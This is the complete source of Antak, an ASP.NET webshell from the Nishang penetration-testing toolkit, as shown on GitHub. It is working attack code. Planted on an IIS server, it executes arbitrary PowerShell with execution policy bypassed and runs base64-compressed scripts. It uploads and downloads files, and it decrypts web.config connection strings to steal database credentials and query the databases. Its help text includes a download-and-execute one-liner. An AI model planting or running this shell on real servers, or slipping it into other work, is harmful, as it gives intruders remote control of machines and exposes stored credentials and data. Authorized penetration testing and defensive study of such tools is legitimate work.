nishang/antak.aspx at master · samratashok/nishang · GitHub

github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx

samratashok


```
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="Microsoft.VisualBasic" %>
<%--Antak - A Webshell which utilizes PowerShell.--%>

<script Language="c#" runat="server">

protected void Login_Click(object sender, EventArgs e)
{
// WARNING: Don't be lazy, change values below for username and password. Default credentials are disastrous.
```

```
// Default Username is "Disclaimer" and Password is "ForLegitUseOnly" without quotes and case-sensitive.
if (Username.Text == "Disclaimer" && Password.Text == "ForLegitUseOnly")
{
execution.Visible = true;
execution.Enabled = true;
authentication.Visible = false;
output.Text = @"Welcome to Antak - A Webshell which utilizes PowerShell
Use help for more details.
Use clear to clear the screen.";
}
}

protected override void OnInit(EventArgs e)
{
execution.Visible = false;
execution.Enabled = false;
}



string do_ps(string arg)
{
//This section based on cmdasp webshell by http://michaeldaw.org
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "powershell.exe";
psi.Arguments = "-noninteractive " + "-executionpolicy bypass " + arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
```

```
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}

void ps(object sender, System.EventArgs e)
{
string option = console.Text.ToLower();
if (option.Equals("help"))
{
output.Text = @"Use this shell as a normal powershell console. Each command is executed in a new process, keep this in mind
while using commands (like changing current directory or running session aware scripts).

- Scripts can be executed on the target using any of the below methods:
1. Paste the script in command textbox and click 'Encode and Execute'. A reasonably large script could be executed using this.

2. Use powershell one-liner (example below) for download & execute in the command box.
IEX ((New-Object Net.WebClient).DownloadString('URL to script here')); [Arguments here]

3. By uploading the script to the target and executing it.

4. Make the script a semi-colon separated one-liner.


- Uploading a file:
```

To upload a file you must mention the actual path on server (with write permissions) in command textbox.

(OS temporary directory like C:\Windows\Temp may be writable.)

Then use Browse and Upload buttons to upload file to that path.

- Downloading a file:

To download a file enter the actual path on the server in command textbox.

Then click on Download button.

- SQL Queries could be executed by following below steps:

1. Click on 'Parse Web.Config' button to get dabase connection string. By default, Antak looks for web.config in

the C:\Inetpub directory. You can specify a full path in the command box to look for web.config in other directory.

2. Paste that connection string in the textbox besides the 'Execute SQL Query' button.

3. Enter the SQL Query in the command box.

4. Click the 'Execute SQL Query' button.

Antak is a part of Nishang and updates could be found here:

https://github.com/samratashok/nishang

Blog posts about Antak could be found here

http://www.labofapenetrationtester.com/search/label/Antak

";

console.Text = string.Empty;

console.Focus();

}

else if (option.Equals("clear"))

{

```
output.Text = string.Empty;
console.Text = string.Empty;
console.Focus();
}
else
{
output.Text += "\nPS> " + console.Text + "\n" + do_ps(console.Text);
console.Text = string.Empty;
console.Focus();
}

}

void execcommand(string cmd)
{
output.Text += "PS> " + "\n" + do_ps(cmd);
console.Text = string.Empty;
console.Focus();
}

void base64encode(string inputstr)
{
// Compression and encoding directly stolen from Compress-PostScript by Carlos Perez
//http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html

string contents = console.Text;

if (inputstr != "null")
{
```

```
contents = inputstr;
}

// Compress Script


MemoryStream ms = new MemoryStream();

DeflateStream cs = new DeflateStream(ms, CompressionMode.Compress);

StreamWriter sw = new StreamWriter(cs, ASCIIEncoding.ASCII);

sw.WriteLine(contents);

sw.Close();

string code = Convert.ToBase64String(ms.ToArray());

string command = "Invoke-Expression $(New-Object IO.StreamReader (" +

"$(New-Object IO.Compression.DeflateStream (" +

"$(New-Object IO.MemoryStream (," +

"$([Convert]::FromBase64String('" + code + "')))), " +

"[IO.Compression.CompressionMode]::Decompress))," +

" [Text.Encoding]::ASCII)).ReadToEnd();";

execcommand(command);

}
protected void uploadbutton_Click(object sender, EventArgs e)
{
```

```
if (upload.HasFile)
{
try
{
string filename = Path.GetFileName(upload.FileName);
upload.SaveAs(console.Text + "\\" + filename);
output.Text = "File uploaded to: " + console.Text + "\\" + filename;
}
catch (Exception ex)
{
output.Text = "Upload status: The file could not be uploaded. The following error occured: " + ex.Message;
}
}
}

protected void downloadbutton_Click(object sender, EventArgs e)
{
try
{
Response.ContentType = "application/octet-stream";

Response.AppendHeader("Content-Disposition", "attachment; filename=" + console.Text);

Response.TransmitFile(console.Text);

Response.End();

}
```

```
catch (Exception ex)
{
output.Text = ex.ToString();
}
}

protected void encode_Click(object sender, EventArgs e)
{
base64encode("null");
}

// PowerShell logic in ConnectionStr_Click and executesql_Click taken from https://github.com/NetSPI/cmdsql
protected void ConnectionStr_Click(object sender, EventArgs e)
{
output.Text = @"By default, web.config is searched for in C:\inetpub. To look at other location, specify the full path in the command textbox.

";
string webpath = "C:\\inetpub";
if (console.Text != string.Empty)
{
webpath = console.Text;
}
```

```
string pscode = "$ErrorActionPreference = \'SilentlyContinue\';$path=" + "\"" + webpath + "\"" + ";" + "Foreach ($file in (get-childitem $path -Filter web.config -Recurse)) {; Try { $xml = [xml](get-content $file.FullName) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };if ($connstrings.ConnectionStrings.encrypteddata.cipherdata.ciphervalue -ne $null) {;$tempdir = (Get-Date).Ticks;new-item $env:temp\\$tempdir -ItemType directory | out-null; copy-item $file.FullName $env:temp\\$tempdir;$aspnet_regiis = (get-childitem $env:windir\\microsoft.net\\ -Filter aspnet_regiis.exe -recurse | select-object -last 1).FullName + \' -pdf \"\"connectionStrings\"\" \' + $env:temp + \'\\\' + $tempdir;Invoke-Expression $aspnet_regiis; Try { $xml = [xml](get-content $env:temp\\$tempdir\\$file) } Catch { continue };Try { $connstrings = $xml.get_DocumentElement() } Catch { continue };remove-item $env:temp\\$tempdir -recurse};Foreach ($_ in $connstrings.ConnectionStrings.add) { if ($_.connectionString -ne $NULL) { write-host \"\"$file.Fullname --- $_.connectionString\"\"} } };";

base64encode(pscode);

}

protected void executesql_Click(object sender, EventArgs e)

{

output.Text = @"Use a connection string retrieved from the server and copy it in the connection string textbox.

";

string Constr = sqlconnectiostr.Text;

string sqlcmd = console.Text;

string pscode = "$Connection = New-Object System.Data.SQLClient.SQLConnection;$Connection.ConnectionString = " + "\"" + Constr + "\"" + ";" + "$Connection.Open();$Command = New-Object System.Data.SQLClient.SQLCommand;$Command.Connection = $Connection;$Command.CommandText = " + "\"" + sqlcmd + "\"" + ";" + "$Reader = $Command.ExecuteReader();while ($reader.Read()) {;New-Object PSObject -Property @{Name = $reader.GetValue(0)};};$Connection.Close()";

base64encode(pscode);

}

</script>

<HTML>

<HEAD>
```

```
<title>Antak Webshell</title>
</HEAD>
<body bgcolor="#808080">

<div>

<form id="Form1" method="post" runat="server" style="background-color: #808080">
<asp:Panel ID="authentication" runat="server" HorizontalAlign="Center" >
<asp:TextBox ID="Username" runat="server" style="margin-left: 0px" Width="300px">
</asp:TextBox> <br />
<asp:TextBox ID="Password" runat="server" Width="300px"></asp:TextBox><br />
<asp:Button ID="Login" runat="server" Text="Login" OnClick="Login_Click"
Width="101px"/><br />
</asp:Panel>
<asp:Panel ID="execution" runat="server" >
<div runat="server" style="text-align:center; resize:vertical">

<asp:TextBox ID="output" runat="server" TextMode="MultiLine" BackColor="#012456"
ForeColor="White" style="height: 526px; width: 891px;" ReadOnly="True">
</asp:TextBox>
<asp:TextBox ID="console" runat="server" BackColor="#012456" ForeColor="Yellow"
Width="891px" TextMode="MultiLine" Rows="1" onkeydown="if(event.keyCode == 13)
document.getElementById('cmd').click()" Height="23px" AutoCompleteType="None">
</asp:TextBox>


</div>
<div runat="server" style="width: auto; text-align:center">

<asp:Button ID="cmd" runat="server" Text="Submit" OnClick="ps" />
<asp:FileUpload ID="upload" runat="server"/>

<asp:Button ID="uploadbutton" runat="server" Text="Upload the File"
OnClick="uploadbutton_Click" />
```

<asp:Button ID="encode" runat="server" Text="Encode and Execute" OnClick="encode_Click"/>

<asp:Button ID="downloadbutton" runat="server" Text="Download" OnClick="downloadbutton_Click" />

<asp:Button ID="ConnectionStr" runat="server" Text="Parse web.config" OnClick="ConnectionStr_Click"/>

<asp:Button ID="executesql" runat="server" Text="Execute SQL Query" OnClick="executesql_Click" />

<asp:TextBox ID="sqlconnectiostr" runat="server" Width="352px">Enter Connection String here to Execute SQL Queries</asp:TextBox>

</asp:Panel >

</form>

</body>

</HTML>